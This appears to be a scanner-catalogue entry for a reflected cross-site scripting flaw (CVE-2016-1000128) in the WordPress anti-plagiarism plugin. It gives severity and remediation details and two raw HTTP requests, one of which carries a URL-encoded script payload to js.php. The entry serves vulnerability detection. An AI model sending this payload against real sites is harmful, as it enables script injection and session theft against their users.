| Title | WordPress anti-plagiarism <=3.60 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update the WordPress anti-plagiarism plugin to version >3.60 or apply the latest security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02927 |
| CVE ID | CVE-2016-1000128 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin anti-plagiarism_project vuln |
WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting.
GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000128.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-1000128.pcap
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